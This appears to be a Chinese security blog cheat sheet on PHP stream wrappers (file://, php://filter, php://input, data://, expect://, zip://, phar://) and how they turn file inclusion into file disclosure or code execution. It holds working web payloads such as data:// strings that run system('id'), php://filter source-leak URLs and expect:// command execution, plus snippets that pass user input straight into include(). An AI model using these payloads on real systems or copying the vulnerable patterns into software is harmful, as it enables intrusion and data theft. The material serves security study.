PHP伪协议

发表于 | 分类于 |

PHP协议/封装协议

包装或协议 控制能力 allow_url_include 漏洞类型 备注
file:// - Off LFI /文件操作
glob:// - Off 目录遍历
php://filter/read include Off 文件泄露 PHP：//filter/read=convert.base64-encode/resource=index.php
php://filter/write file_put_contents Off 编码 file_put_contents(“php://filter/write=string.rot13/resource=x.txt”,”content”);
php://input include On RCE Encoding is required while reading .php source: <?php echo base64_encode(file_get_contents(“solution.php”));?> OR just use <?php system(‘cat x.php’);?>
data:// include On RCE data:text/plain,<?php system(“id”)?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=
zip:// include + uploaded file Off RCE
phar:// include + uploaded file Off RCE PHP版本> = 5.3

php中支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

这里可以参考官方文档进行查看。而遇见最多的也就是php://协议了：

  • php://stdin
    主要用于php cli的输入
1
2
3
4
5
<?php  
while($line = fopen('php://stdin','r')){  
    echo fgets($line);  
}  
?>

  • php://stdout
    主要用于php cli的输入
    1
    2
    3
    4
    5
    6
    <?php  
    $fh = fopen('php://stdout', 'w');  
    fwrite($fh, "标准输出php://stdout\n");  
    fclose($fh);  
    fwrite(STDOUT, "标准输出STDOUT\n");  
    ?>

  • php://input
    可以读取到post没有解析的原始数据
    1
    2
    3
    <?php  
     echo file_get_contents($_GET["a"]);  
    ?>


当php代码换成

1
2
3
4
<?php  
$code = $_GET['a'];  
include($code);  
?>

而且当php远程包含打开的时候（当allow_url_include=on),就可以造成任意代码执行。

  • php://output
    是一个只写的数据流， 允许你以 print 和 echo 一样的方式 写入到输出缓冲区
    1
    2
    3
    4
    <?php  
     $code=$_GET["a"];  
     file_put_contents($code,"test");   
    ?>

  • php://filter
    是一种元封装器， 设计用于数据流打开时的筛选过滤应用
    1
    2
    3
    4
    5
    <?php  
    $filename=$_GET["a"];  
    $data="test";  
    file_put_contents($filename, $data);  
    ?>

?a=php://filter/write=string.tolower/resource=test.php
可以往服务器中写入一个文件内容全为小写且文件名为test.php的文件：
其中 ：
（1）string.tolower //写入内容全部变成小写
（2）string.toupper //写入内容全部变成大写
（3）string.rot13 //写入内容全部对字符串执行 ROT13 编码
通过：?a=php://filter/convert.base64-encode/resource=test.php
可以往服务器中写入一个文件内容为base64编码且文件名为test.php的文件

1
2
3
4
5
6
7
8
9
<?php  
$filename=$_GET["a"];  
echo file_get_contents($filename);  
?> 
<?php  
$filename=$_GET["a"]; 
include("$filename");  
?>

?a=php://filter/convert.base64-encode/resource=test.php,就可以把test.php的内容以base64编码的方式显示出来

双引号包含的变量$filename，可以当成正常变量执行，而单引号包裹的变量则会当成字符串

  • expect://
    可以用这个协议执行任意linux的指令
    1
    2
    3
    4
    <?php  
    $code = $_GET['hax'];  
    include($code);  
    ?>

那么可以用?hax=expect://command 来执行任意linux指令，但是：
Note:该封装协议默认未开启
为了使用 expect:// 封装器，你必须安装» PECL 上的 » Expect扩展。

  • data://
    数据流封装器
    当allow_url_include 打开的时候，任意文件包含就会成为任意命令执行
    1
    2
    3
    4
    <?php  
    $filename=$_GET["a"];  
    include("$filename");  
    ?>

参考链接：
http://blog.csdn.net/niexinming/article/details/52605144